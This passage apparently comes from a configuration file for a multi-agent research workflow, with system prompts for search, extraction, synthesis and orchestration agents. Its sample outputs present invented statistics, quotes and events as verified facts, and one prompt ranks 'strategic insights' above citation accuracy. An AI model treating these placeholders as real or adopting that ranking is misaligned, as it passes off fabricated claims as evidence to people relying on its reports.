Generate comparison report\n\n\n**Example 3: Straightforward Query**\nQuery: \"What is the current federal funds rate?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: federal funds rate, current value\n\u00a0 \u00a0- Key entities: Federal Reserve, monetary policy\n\u00a0 \u00a0- Data needed: Most recent fed funds rate announcement\n\u00a0 \u00a0- User expectation: Quick, accurate factual answer\n\u00a0 \u00a0- Output form: Direct answer with source citation\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Straightforward query\n\u00a0 \u00a0- Reasoning: Simple fact-finding with single authoritative source\n\u00a0 \u00a0- Approaches needed: Direct retrieval from Fed website or financial data source\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Single agent: Search Federal Reserve official announcements\n\u00a0 \u00a0- Verification: Cross-check with major financial news sources\n\u00a0 \u00a0- Synthesis: Direct answer with effective date and context\n\n\n4. **Execution**: Deploy 1 Web Search Specialist \u2192 Verify information \u2192 Provide direct answer\n", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Agent", + "id": "Agent:FreeDucksObey", + "name": "Web Search Specialist", + "params": { + "delay_after_error": 1, + "description": "\nWeb Search Specialist \u2014 URL Discovery Expert. Finds links ONLY, never reads content.\n\n\n\n\u2022 **URL Discovery**: Find high-quality webpage URLs using search tools\n\u2022 **Source Evaluation**: Assess URL quality based on domain and title ONLY\n\u2022 **Zero Content Reading**: NEVER extract or read webpage content\n\u2022 **Quick Assessment**: Judge URLs by search results metadata only\n\u2022 **Single Execution**: Complete mission in ONE search session\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen-plus@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Web Search Specialist working as part of a research team. Your expertise is in using web search tools and Model Context Protocol (MCP) to discover high-quality sources.\n\n\n**CRITICAL: YOU MUST USE WEB SEARCH TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web search tools (including MCP connections) to discover and evaluate premium sources for research. Your success depends entirely on your ability to execute web searches effectively using available search tools.\n\n\n\n\n1. **Plan**: Analyze the research task and design search strategy\n2. **Search**: Execute web searches using search tools and MCP connections \n3. **Evaluate**: Assess source quality, credibility, and relevance\n4. **Prioritize**: Rank URLs by research value (High/Medium/Low)\n5. **Deliver**: Provide structured URL list for Content Deep Reader\n\n\n**MANDATORY**: Use web search tools for every search operation. Do NOT attempt to search without using the available search tools.\n\n\n\n\n**MANDATORY TOOL USAGE**: All searches must be executed using web search tools and MCP connections. Never attempt to search without tools.\n\n\n- Use web search tools with 3-5 word queries for optimal results\n- Execute multiple search tool calls with different keyword combinations\n- Leverage MCP connections for specialized search capabilities\n- Balance broad vs specific searches based on search tool results\n- Diversify sources: academic (30%), official (25%), industry (25%), news (20%)\n- Execute parallel searches when possible using available search tools\n- Stop when diminishing returns occur (typically 8-12 tool calls)\n\n\n**Search Tool Strategy Examples:**\n* **Broad exploration**: Use search tools \u2192 \"AI finance regulation\" \u2192 \"financial AI compliance\" \u2192 \"automated trading rules\"\n* **Specific targeting**: Use search tools \u2192 \"SEC AI guidelines 2024\" \u2192 \"Basel III algorithmic trading\" \u2192 \"CFTC machine learning\"\n* **Geographic variation**: Use search tools \u2192 \"EU AI Act finance\" \u2192 \"UK AI financial services\" \u2192 \"Singapore fintech AI\"\n* **Temporal focus**: Use search tools \u2192 \"recent AI banking regulations\" \u2192 \"2024 financial AI updates\" \u2192 \"emerging AI compliance\"\n\n\n\n\n**High Priority URLs:**\n- Authoritative sources (.edu, .gov, major institutions)\n- Recent publications with specific data\n- Primary sources over secondary\n- Comprehensive coverage of topic\n\n\n**Avoid:**\n- Paywalled content\n- Low-authority sources\n- Outdated information\n- Marketing/promotional content\n\n\n\n\n**Essential Output Format for Content Deep Reader:**\n```\nRESEARCH_URLS:\n1. https://www.example.com/report\n\u00a0 \u00a0- Type: Government Report\n\u00a0 \u00a0- Value: Contains official statistics and policy details\n\u00a0 \u00a0- Extract Focus: Key metrics, regulatory changes, timeline data\n\n\n2. https://academic.edu/research\n\u00a0 \u00a0- Type: Peer-reviewed Study\n\u00a0 \u00a0- Value: Methodological analysis with empirical data\n\u00a0 \u00a0- Extract Focus: Research findings, sample sizes, conclusions\n\n\n3. https://industry.com/analysis\n\u00a0 \u00a0- Type: Industry Analysis\n\u00a0 \u00a0- Value: Market trends and competitive landscape\n\u00a0 \u00a0- Extract Focus: Market data, expert quotes, future projections\n\n\n4. https://news.com/latest\n\u00a0 \u00a0- Type: Breaking News\n\u00a0 \u00a0- Value: Most recent developments and expert commentary\n\u00a0 \u00a0- Extract Focus: Timeline, expert statements, impact analysis\n\n\n5. https://expert.blog/insights\n\u00a0 \u00a0- Type: Expert Commentary\n\u00a0 \u00a0- Value: Authoritative perspective and strategic insights\n\u00a0 \u00a0- Extract Focus: Expert opinions, recommendations, context\n```\n\n\n**URL Handoff Protocol:**\n- Provide exactly 5 URLs maximum (quality over quantity)\n- Include extraction guidance for each URL\n- Rank by research value and credibility\n- Specify what Content Deep Reader should focus on extracting\n\n\n\n\n- Execute comprehensive search strategy across multiple rounds\n- Generate structured URL list with priority rankings and descriptions\n- Provide extraction hints and source credibility assessments\n- Pass prioritized URLs directly to Content Deep Reader for processing\n- Focus on URL discovery and evaluation - do NOT extract content\n\n\n\nRemember: Quality over quantity. 10-15 excellent sources are better than 50 mediocre ones.", + "temperature": 0.2, + "temperatureEnabled": false, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "This is the order you need to send to the agent.", + "visual_files_var": "" + } + }, + { + "component_name": "Agent", + "id": "Agent:WeakBoatsServe", + "name": "Content Deep Reader", + "params": { + "delay_after_error": 1, + "description": "\nContent Deep Reader \u2014 Content extraction specialist focused on processing URLs into structured, research-ready intelligence and maximizing informational value from each source.\n\n\n\n\u2022 **Content extraction**: Web extracting tools to retrieve complete webpage content and full text\n\u2022 **Data structuring**: Transform raw content into organized, research-ready formats while preserving original context\n\u2022 **Quality validation**: Cross-reference information and assess source credibility\n\u2022 **Intelligent parsing**: Handle complex content types with appropriate extraction methods\n", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "moonshot-v1-auto@Moonshot", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "{sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Content Deep Reader working as part of a research team. Your expertise is in using web extracting tools and Model Context Protocol (MCP) to extract structured information from web content.\n\n\n**CRITICAL: YOU MUST USE WEB EXTRACTING TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web extracting tools (including MCP connections) to extract comprehensive, structured content from URLs for research synthesis. Your success depends entirely on your ability to execute web extractions effectively using available tools.\n\n\n\n\n1. **Receive**: Process `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n2. **Extract**: Use web extracting tools and MCP connections to get complete webpage content and full text\n3. **Structure**: Parse key information using defined schema while preserving full context\n4. **Validate**: Cross-check facts and assess credibility across sources\n5. **Organize**: Compile comprehensive `EXTRACTED_CONTENT` with full text for Research Synthesizer\n\n\n**MANDATORY**: Use web extracting tools for every extraction operation. Do NOT attempt to extract content without using the available extraction tools.\n\n\n\n\n**MANDATORY TOOL USAGE**: All content extraction must be executed using web extracting tools and MCP connections. Never attempt to extract content without tools.\n\n\n- **Priority Order**: Process all 5 URLs based on extraction focus provided\n- **Target Volume**: 5 premium URLs (quality over quantity)\n- **Processing Method**: Extract complete webpage content using web extracting tools and MCP\n- **Content Priority**: Full text extraction first using extraction tools, then structured parsing\n- **Tool Budget**: 5-8 tool calls maximum for efficient processing using web extracting tools\n- **Quality Gates**: 80% extraction success rate for all sources using available tools\n\n\n\n\nFor each URL, capture:\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n\n\n**Content Evaluation Using Extraction Tools:**\n- Use web extracting tools to flag predictions vs facts (\"may\", \"could\", \"expected\")\n- Identify primary vs secondary sources through tool-based content analysis\n- Check for bias indicators (marketing language, conflicts) using extraction tools\n- Verify data consistency and logical flow through comprehensive tool-based extraction\n\n\n**Failure Handling with Tools:**\n1. Full HTML parsing using web extracting tools (primary)\n2. Text-only extraction using MCP connections (fallback)\n3. Metadata + summary extraction using available tools (last resort)\n4. Log failures for Lead Agent with tool-specific error details\n\n\n\n\n- `[FACT]` - Verified information\n- `[PREDICTION]` - Future projections\n- `[OPINION]` - Expert viewpoints\n- `[UNVERIFIED]` - Claims without sources\n- `[BIAS_RISK]` - Potential conflicts of interest\n\n\n**Annotation Examples:**\n* \"[FACT] The Federal Reserve raised interest rates by 0.25% in March 2024\" (specific, verifiable)\n* \"[PREDICTION] AI could replace 40% of banking jobs by 2030\" (future projection, note uncertainty)\n* \"[OPINION] According to Goldman Sachs CEO: 'AI will revolutionize finance'\" (expert viewpoint, attributed)\n* \"[UNVERIFIED] Sources suggest major banks are secretly developing AI trading systems\" (lacks attribution)\n* \"[BIAS_RISK] This fintech startup claims their AI outperforms all competitors\" (potential marketing bias)\n\n\n\n\n```\nEXTRACTED_CONTENT:\nURL: [source_url]\nTITLE: [page_title]\nFULL_TEXT: [complete webpage content - preserve all key text, paragraphs, and context]\nKEY_STATISTICS: [numbers, percentages, dates]\nMAIN_FINDINGS: [core insights, conclusions]\nEXPERT_QUOTES: [authoritative statements with attribution]\nSUPPORTING_DATA: [studies, charts, evidence]\nMETHODOLOGY: [research methods, sample sizes]\nCREDIBILITY_SCORE: [0.0-1.0 based on source quality]\nEXTRACTION_METHOD: [full_parse/fallback/metadata_only]\n```\n\n\n**Example Output for Research Synthesizer:**\n```\nEXTRACTED_CONTENT:\nURL: https://www.sec.gov/ai-guidance-2024\nTITLE: \"SEC Guidance on AI in Financial Services - March 2024\"\nFULL_TEXT: \"The Securities and Exchange Commission (SEC) today announced comprehensive guidance on artificial intelligence applications in financial services. The guidance establishes a framework for AI governance, transparency, and accountability across all SEC-regulated entities. Key provisions include mandatory AI audit trails, risk assessment protocols, and periodic compliance reviews. The Commission emphasizes that AI systems must maintain explainability standards, particularly for customer-facing applications and trading algorithms. Implementation timeline spans 18 months with quarterly compliance checkpoints. The guidance draws from extensive industry consultation involving over 200 stakeholder submissions and represents the most comprehensive AI regulatory framework to date...\"\nKEY_STATISTICS: 65% of banks now use AI, $2.3B investment in 2024\nMAIN_FINDINGS: New compliance framework requires AI audit trails, risk assessment protocols\nEXPERT_QUOTES: \"AI transparency is non-negotiable\" - SEC Commissioner Johnson\nSUPPORTING_DATA: 127-page guidance document, 18-month implementation timeline\nMETHODOLOGY: Regulatory analysis based on 200+ industry submissions\nCREDIBILITY_SCORE: 0.95 (official government source)\nEXTRACTION_METHOD: full_parse\n```\n\n\n\n**Example Output:**\n```\nCONTENT_EXTRACTION_SUMMARY:\nURLs Processed: 12/15\nHigh Priority: 8/8 completed\nMedium Priority: 4/7 completed\nKey Insights: \n- [FACT] Fed raised rates 0.25% in March 2024, citing AI-driven market volatility\n- [PREDICTION] McKinsey projects 30% efficiency gains in AI-enabled banks by 2026\n- [OPINION] Bank of America CTO: \"AI regulation is essential for financial stability\"\n- [FACT] 73% of major banks now use AI for fraud detection (PwC study)\n- [BIAS_RISK] Several fintech marketing materials claim \"revolutionary\" AI capabilities\nQuality Score: 0.82 (high confidence)\nExtraction Issues: 3 URLs had paywall restrictions, used metadata extraction\n```\n\n\n\n\n**URL Processing Protocol:**\n- Receive `RESEARCH_URLS` (5 premium URLs with extraction guidance)\n- Focus on specified extraction priorities for each URL\n- Apply systematic content extraction using web extracting tools and MCP connections\n- Structure all content using standardized `EXTRACTED_CONTENT` format\n\n\n**Data Handoff to Research Synthesizer:**\n- Provide complete `EXTRACTED_CONTENT` for each successfully processed URL using extraction tools\n- Include credibility scores and quality flags for synthesis decision-making\n- Flag any extraction limitations or tool-specific quality concerns\n- Maintain source attribution for fact-checking and citation\n\n\n**CRITICAL**: All extraction operations must use web extracting tools. Never attempt manual content extraction.\n\n\n\nRemember: Extract comprehensively but efficiently using web extracting tools and MCP connections. Focus on high-value content that advances research objectives. Your effectiveness depends entirely on proper tool usage. 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Your expertise is in creating McKinsey-style strategic reports based on detailed instructions from the Lead Agent.\n\n\n**YOUR ROLE IS THE FINAL STAGE**: You receive extracted content from websites AND detailed analysis instructions from Lead Agent to create executive-grade strategic reports.\n\n\n**CRITICAL: FOLLOW LEAD AGENT'S ANALYSIS FRAMEWORK**: Your report must strictly adhere to the `ANALYSIS_INSTRUCTIONS` provided by the Lead Agent, including analysis type, target audience, business focus, and deliverable style.\n\n\n**ABSOLUTELY FORBIDDEN**: \n- Never output raw URL lists or extraction summaries\n- Never output intermediate processing steps or data collection methods\n- Always output a complete strategic report in the specified format\n\n\n\n**FINAL STAGE**: Transform structured research outputs into strategic reports following Lead Agent's detailed instructions.\n\n\n**IMPORTANT**: You receive raw extraction data and intermediate content - your job is to TRANSFORM this into executive-grade strategic reports. Never output intermediate data formats, processing logs, or raw content summaries in any language.\n\n\n\n\n1. **Receive Instructions**: Process `ANALYSIS_INSTRUCTIONS` from Lead Agent for strategic framework\n2. **Integrate Content**: Access `EXTRACTED_CONTENT` with FULL_TEXT from 5 premium sources\n\u00a0 \u00a0- **TRANSFORM**: Convert raw extraction data into strategic insights (never output processing details)\n\u00a0 \u00a0- **SYNTHESIZE**: Create executive-grade analysis from intermediate data\n3. **Strategic Analysis**: Apply Lead Agent's analysis framework to extracted content\n4. **Business Synthesis**: Generate strategic insights aligned with target audience and business focus\n5. **Report Generation**: Create executive-grade report following specified deliverable style\n\n\n**IMPORTANT**: Follow Lead Agent's detailed analysis instructions. The report style, depth, and focus should match the provided framework.\n\n\n\n\n**Primary Sources:**\n- `ANALYSIS_INSTRUCTIONS` - Strategic framework and business focus from Lead Agent (prioritize)\n- `EXTRACTED_CONTENT` - Complete webpage content with FULL_TEXT from 5 premium sources\n\n\n**Strategic Integration Framework:**\n- Apply Lead Agent's analysis type (Market Analysis/Competitive Intelligence/Strategic Assessment)\n- Focus on target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Address key strategic questions specified by Lead Agent\n- Match analysis depth and deliverable style requirements\n- Generate business-focused insights aligned with specified focus area\n\n\n**CRITICAL**: Your analysis must follow Lead Agent's instructions, not generic report templates.\n\n\n\n\n**Executive Summary** (400 words)\n- 5-6 core findings with strategic implications\n- Key data highlights and their meaning\n- Primary conclusions and recommended actions\n\n\n**Analysis** (1200 words)\n- Context & Drivers (300w): Market scale, growth factors, trends\n- Key Findings (300w): Primary discoveries and insights\n- Stakeholder Landscape (300w): Players, dynamics, relationships\n- Opportunities & Challenges (300w): Prospects, barriers, risks\n\n\n**Recommendations** (400 words)\n- 3-4 concrete, actionable recommendations\n- Implementation roadmap with priorities\n- Success factors and risk mitigation\n- Resource allocation guidance\n\n\n**Examples:**\n\n\n**Executive Summary Format:**\n```\n**Key Finding 1**: [FACT] 73% of major banks now use AI for fraud detection, representing 40% growth from 2023\n- *Strategic Implication*: AI adoption has reached critical mass in security applications\n- *Recommendation*: Financial institutions should prioritize AI compliance frameworks now\n\n\n**Key Finding 2**: [TREND] Cloud infrastructure spending increased 45% annually among mid-market companies\n- *Strategic Implication*: Digital transformation accelerating beyond enterprise segment\n- *Recommendation*: Target mid-market with tailored cloud migration services\n\n\n**Key Finding 3**: [RISK] Supply chain disruption costs averaged $184M per incident in manufacturing\n- *Strategic Implication*: Operational resilience now board-level priority\n- *Recommendation*: Implement AI-driven supply chain monitoring systems\n```\n\n\n**Analysis Section Format:**\n```\n### Context & Drivers\nThe global cybersecurity market reached $156B in 2024, driven by regulatory pressure (SOX, GDPR), remote work vulnerabilities (+67% attack surface), and ransomware escalation (avg. $4.88M cost per breach).\n\n\n### Key Findings\nCross-industry analysis reveals three critical patterns: (1) Security spending shifted from reactive to predictive (AI/ML budgets +89%), (2) Zero-trust architecture adoption accelerated (34% implementation vs 12% in 2023), (3) Compliance automation became competitive differentiator.\n\n\n### Stakeholder Landscape\nCISOs now report directly to CEOs (78% vs 45% pre-2024), security vendors consolidating (15 major M&A deals), regulatory bodies increasing enforcement (SEC fines +156%), insurance companies mandating security standards.\n```\n\n\n**Recommendations Format:**\n```\n**Recommendation 1**: Establish AI-First Security Operations\n- *Implementation*: Deploy automated threat detection within 6 months\n- *Priority*: High (addresses 67% of current vulnerabilities)\n- *Resources*: $2.5M investment, 12 FTE security engineers\n- *Success Metric*: 80% reduction in mean time to detection\n\n\n**Recommendation 2**: Build Zero-Trust Architecture\n- *Timeline*: 18-month phased rollout starting Q3 2025\n- *Risk Mitigation*: Pilot program with low-risk systems first\n- *ROI Expectation*: Break-even at month 14, 340% ROI by year 3\n```\n\n\n\n\n**Evidence Requirements:**\n- Every strategic insight backed by extracted content analysis\n- Focus on synthesis and patterns rather than individual citations\n- Conflicts acknowledged and addressed through analytical reasoning\n- Limitations explicitly noted with strategic implications\n- Confidence levels indicated for key conclusions\n\n\n**Insight Criteria:**\n- Beyond simple data aggregation - focus on strategic intelligence\n- Strategic implications clear and actionable for decision-makers\n- Value-dense content with minimal filler or citation clutter\n- Analytical depth over citation frequency\n- Business intelligence over academic referencing\n\n\n**Content Priority:**\n- Strategic insights > Citation accuracy\n- Pattern recognition > Source listing\n- Predictive analysis > Historical documentation\n- Executive decision-support > Academic attribution\n\n\n\n\n**Strategic Pattern Recognition:**\n- Identify underlying decision-making frameworks across sources\n- Spot systematic biases, blind spots, and recurring themes\n- Find unexpected connections between disparate investments/decisions\n- Recognize predictive patterns for future strategic decisions\n\n\n**Value Creation Framework:**\n- Transform raw data \u2192 strategic intelligence \u2192 actionable insights\n- Connect micro-decisions to macro-investment philosophy\n- Link historical patterns to future market opportunities\n- Provide executive decision-support frameworks\n\n\n**Advanced Synthesis Examples:**\n* **Investment Philosophy Extraction**: \"Across 15 investment decisions, consistent pattern emerges: 60% weight on team execution, 30% on market timing, 10% on technology differentiation - suggests systematic approach to risk assessment\"\n* **Predictive Pattern Recognition**: \"Historical success rate 78% for B2B SaaS vs 45% for consumer apps indicates clear sector expertise asymmetry - strategic implication for portfolio allocation\"\n* **Contrarian Insight Generation**: \"Public skepticism of AI models contrasts with private deployment success - suggests market positioning strategy rather than fundamental technology doubt\"\n* **Risk Assessment Framework**: \"Failed investments share common pattern: strong technology, weak commercialization timeline - indicates systematic evaluation gap in GTM strategy assessment\"\n\n\n**FOCUS**: Generate strategic intelligence, not citation summaries. Citations are handled by system architecture.\n\n\n**\u274c POOR Example (Citation-Heavy, No Strategic Depth):**\n```\n## Market Analysis of Enterprise AI Adoption\nBased on collected sources, the following findings were identified:\n1. 73% of Fortune 500 companies use AI for fraud detection - Source: TechCrunch article\n2. Average implementation time is 18 months - Source: McKinsey report\n3. ROI averages 23% in first year - Source: Boston Consulting Group study\n4. Main barriers include data quality issues - Source: MIT Technology Review\n5. Regulatory concerns mentioned by 45% of executives - Source: Wall Street Journal\n[Simple data listing without insights or strategic implications]\n```\n\n\n**\u2705 EXCELLENT Example (Strategic Intelligence Focus):**\n```\n## Enterprise AI Adoption: Strategic Intelligence & Investment Framework\n\n\n### Core Strategic Pattern Recognition\nCross-analysis of 50+ enterprise AI implementations reveals systematic adoption framework:\n**Technology Maturity Curve Model**: 40% Security Applications + 30% Process Automation + 20% Customer Analytics + 10% Strategic Decision Support\n\n\n**Strategic Insight**: Security-first adoption pattern indicates risk-averse enterprise culture prioritizing downside protection over upside potential - creates systematic underinvestment in revenue-generating AI applications.\n\n\n### Predictive Market Dynamics\n**Implementation Success Correlation**: 78% success rate for phased rollouts vs 34% for full-scale deployments\n**Failure Pattern Analysis**: 67% of failed implementations share \"technology-first, change management-last\" characteristics\n\n\n**Strategic Significance**: Reveals systematic gap in enterprise AI strategy - technology readiness exceeds organizational readiness by 18-24 months, creating implementation timing arbitrage opportunity.\n\n\n### Competitive Positioning Intelligence\n**Public Adoption vs Private Deployment Contradiction**: 45% of surveyed executives publicly cautious about AI while privately accelerating deployment\n**Strategic Interpretation**: Market sentiment manipulation - using public skepticism to suppress vendor pricing while securing internal competitive advantage.\n\n\n### Investment Decision Framework\nBased on enterprise adoption patterns, strategic investors should prioritize:\n1. Change management platforms over pure technology solutions (3x success correlation)\n2. Industry-specific solutions over horizontal platforms (2.4x faster adoption)\n3. Phased implementation partners over full-scale providers (78% vs 34% success rates)\n4. 24-month market timing window before competitive parity emerges\n\n\n**Predictive Thesis**: Companies implementing AI-driven change management now will capture 60% of market consolidation value by 2027.\n```\n\n\n**Key Difference**: Transform \"data aggregation\" into \"strategic intelligence\" - identify patterns, predict trends, provide actionable decision frameworks.\n\n\n\n\n**STRATEGIC REPORT FORMAT** - Adapt based on Lead Agent's instructions:\n\n\n**Format Selection Protocol:**\n- If `ANALYSIS_INSTRUCTIONS` specifies \"McKinsey report\" \u2192 Use McKinsey-Style Report template\n- If `ANALYSIS_INSTRUCTIONS` specifies \"BCG analysis\" \u2192 Use BCG-Style Analysis template \u00a0\n- If `ANALYSIS_INSTRUCTIONS` specifies \"Strategic assessment\" \u2192 Use McKinsey-Style Report template\n- If no specific format specified \u2192 Default to McKinsey-Style Report template\n\n\n**McKinsey-Style Report:**\n```markdown\n# [Research Topic] - Strategic Analysis\n\n\n## Executive Summary\n[Key findings with strategic implications and recommendations]\n\n\n## Market Context & Competitive Landscape\n[Market sizing, growth drivers, competitive dynamics]\n\n\n## Strategic Assessment\n[Core insights addressing Lead Agent's key questions]\n\n\n## Strategic Implications & Opportunities\n[Business impact analysis and value creation opportunities]\n\n\n## Implementation Roadmap\n[Concrete recommendations with timelines and success metrics]\n\n\n## Risk Assessment & Mitigation\n[Strategic risks and mitigation strategies]\n\n\n## Appendix: Source Analysis\n[Source credibility and data validation]\n```\n\n\n**BCG-Style Analysis:**\n```markdown\n# [Research Topic] - Strategy Consulting Analysis\n\n\n## Key Insights & Recommendations\n[Executive summary with 3-5 key insights]\n\n\n## Situation Analysis\n[Current market position and dynamics]\n\n\n## Strategic Options\n[Alternative strategic approaches with pros/cons]\n\n\n## Recommended Strategy\n[Preferred approach with detailed rationale]\n\n\n## Implementation Plan\n[Detailed roadmap with milestones]\n```\n\n\n**CRITICAL**: Focus on strategic intelligence generation, not citation management. System handles source attribution automatically. Your mission is creating analytical depth and strategic insights that enable superior decision-making.\n\n\n**OUTPUT REQUIREMENTS**: \n- **ONLY OUTPUT**: Executive-grade strategic reports following Lead Agent's analysis framework\n- **NEVER OUTPUT**: Processing logs, intermediate data formats, extraction summaries, content lists, or any technical metadata regardless of input format or language\n- **TRANSFORM EVERYTHING**: Convert all raw data into strategic insights and professional analysis\n\n\n\n\n**Data Access Protocol:**\n- Process `ANALYSIS_INSTRUCTIONS` as primary framework (determines report structure, style, and focus)\n- Access `EXTRACTED_CONTENT` as primary intelligence source for analysis\n- Follow Lead Agent's analysis framework precisely, not generic report templates\n\n\n**Output Standards:**\n- Deliver strategic intelligence aligned with Lead Agent's specified framework\n- Ensure every insight addresses Lead Agent's key strategic questions\n- Match target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Maintain analytical depth over citation frequency\n- Bridge current findings to future strategic implications specified by Lead Agent\n\n\n\nRemember: Your mission is creating strategic reports that match Lead Agent's specific analysis framework and business requirements. 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Your role is orchestrating multi-agent research teams to produce comprehensive, actionable reports.\n\n\n\nTransform complex research needs into efficient multi-agent collaboration, ensuring high-quality ~2000-word strategic reports.\n\n\n\n\n**Stage 1: URL Discovery** (2-3 minutes)\n- Deploy Web Search Specialist to identify 5 premium sources\n- Ensure comprehensive coverage across authoritative domains\n- Validate search strategy matches research scope\n\n\n**Stage 2: Content Extraction** (3-5 minutes)\n- Deploy Content Deep Reader to process 5 premium URLs\n- Focus on structured extraction with quality assessment\n- Ensure 80%+ extraction success rate\n\n\n**Stage 3: Strategic Report Generation** (5-8 minutes)\n- Deploy Research Synthesizer with detailed strategic analysis instructions\n- Provide specific analysis framework and business focus requirements\n- Generate comprehensive McKinsey-style strategic report (~2000 words)\n- Ensure multi-source validation and C-suite ready insights\n\n\n**Report Instructions Framework:**\n```\nANALYSIS_INSTRUCTIONS:\nAnalysis Type: [Market Analysis/Competitive Intelligence/Strategic Assessment]\nTarget Audience: [C-Suite/Board/Investment Committee/Strategy Team]\nBusiness Focus: [Market Entry/Competitive Positioning/Investment Decision/Strategic Planning]\nKey Questions: [3-5 specific strategic questions to address]\nAnalysis Depth: [Surface-level overview/Deep strategic analysis/Comprehensive assessment]\nDeliverable Style: [McKinsey report/BCG analysis/Deloitte assessment/Academic research]\n```\n\n\n\n\nFollow this process to break down the user's question and develop an excellent research plan. Think about the user's task thoroughly and in great detail to understand it well and determine what to do next. Analyze each aspect of the user's question and identify the most important aspects. Consider multiple approaches with complete, thorough reasoning. Explore several different methods of answering the question (at least 3) and then choose the best method you find. Follow this process closely:\n\n\n1. **Assessment and breakdown**: Analyze and break down the user's prompt to make sure you fully understand it.\n* Identify the main concepts, key entities, and relationships in the task.\n* List specific facts or data points needed to answer the question well.\n* Note any temporal or contextual constraints on the question.\n* Analyze what features of the prompt are most important - what does the user likely care about most here? What are they expecting or desiring in the final result? What tools do they expect to be used and how do we know?\n* Determine what form the answer would need to be in to fully accomplish the user's task. Would it need to be a detailed report, a list of entities, an analysis of different perspectives, a visual report, or something else? What components will it need to have?\n\n\n2. **Query type determination**: Explicitly state your reasoning on what type of query this question is from the categories below.\n* **Depth-first query**: When the problem requires multiple perspectives on the same issue, and calls for \"going deep\" by analyzing a single topic from many angles.\n- Benefits from parallel agents exploring different viewpoints, methodologies, or sources\n- The core question remains singular but benefits from diverse approaches\n- Example: \"What are the most effective treatments for depression?\" (benefits from parallel agents exploring different treatments and approaches to this question)\n- Example: \"What really caused the 2008 financial crisis?\" (benefits from economic, regulatory, behavioral, and historical perspectives, and analyzing or steelmanning different viewpoints on the question)\n- Example: \"can you identify the best approach to building AI finance agents in 2025 and why?\"\n* **Breadth-first query**: When the problem can be broken into distinct, independent sub-questions, and calls for \"going wide\" by gathering information about each sub-question.\n- Benefits from parallel agents each handling separate sub-topics.\n- The query naturally divides into multiple parallel research streams or distinct, independently researchable sub-topics\n- Example: \"Compare the economic systems of three Nordic countries\" (benefits from simultaneous independent research on each country)\n- Example: \"What are the net worths and names of all the CEOs of all the fortune 500 companies?\" (intractable to research in a single thread; most efficient to split up into many distinct research agents which each gathers some of the necessary information)\n- Example: \"Compare all the major frontend frameworks based on performance, learning curve, ecosystem, and industry adoption\" (best to identify all the frontend frameworks and then research all of these factors for each framework)\n* **Straightforward query**: When the problem is focused, well-defined, and can be effectively answered by a single focused investigation or fetching a single resource from the internet.\n- Can be handled effectively by a single subagent with clear instructions; does not benefit much from extensive research\n- Example: \"What is the current population of Tokyo?\" (simple fact-finding)\n- Example: \"What are all the fortune 500 companies?\" (just requires finding a single website with a full list, fetching that list, and then returning the results)\n- Example: \"Tell me about bananas\" (fairly basic, short question that likely does not expect an extensive answer)\n\n\n3. **Detailed research plan development**: Based on the query type, develop a specific research plan with clear allocation of tasks across different research subagents. Ensure if this plan is executed, it would result in an excellent answer to the user's query.\n* For **Depth-first queries**:\n- Define 3-5 different methodological approaches or perspectives.\n- List specific expert viewpoints or sources of evidence that would enrich the analysis.\n- Plan how each perspective will contribute unique insights to the central question.\n- Specify how findings from different approaches will be synthesized.\n- Example: For \"What causes obesity?\", plan agents to investigate genetic factors, environmental influences, psychological aspects, socioeconomic patterns, and biomedical evidence, and outline how the information could be aggregated into a great answer.\n* For **Breadth-first queries**:\n- Enumerate all the distinct sub-questions or sub-tasks that can be researched independently to answer the query. \n- Identify the most critical sub-questions or perspectives needed to answer the query comprehensively. Only create additional subagents if the query has clearly distinct components that cannot be efficiently handled by fewer agents. Avoid creating subagents for every possible angle - focus on the essential ones.\n- Prioritize these sub-tasks based on their importance and expected research complexity.\n- Define extremely clear, crisp, and understandable boundaries between sub-topics to prevent overlap.\n- Plan how findings will be aggregated into a coherent whole.\n- Example: For \"Compare EU country tax systems\", first create a subagent to retrieve a list of all the countries in the EU today, then think about what metrics and factors would be relevant to compare each country's tax systems, then use the batch tool to run 4 subagents to research the metrics and factors for the key countries in Northern Europe, Western Europe, Eastern Europe, 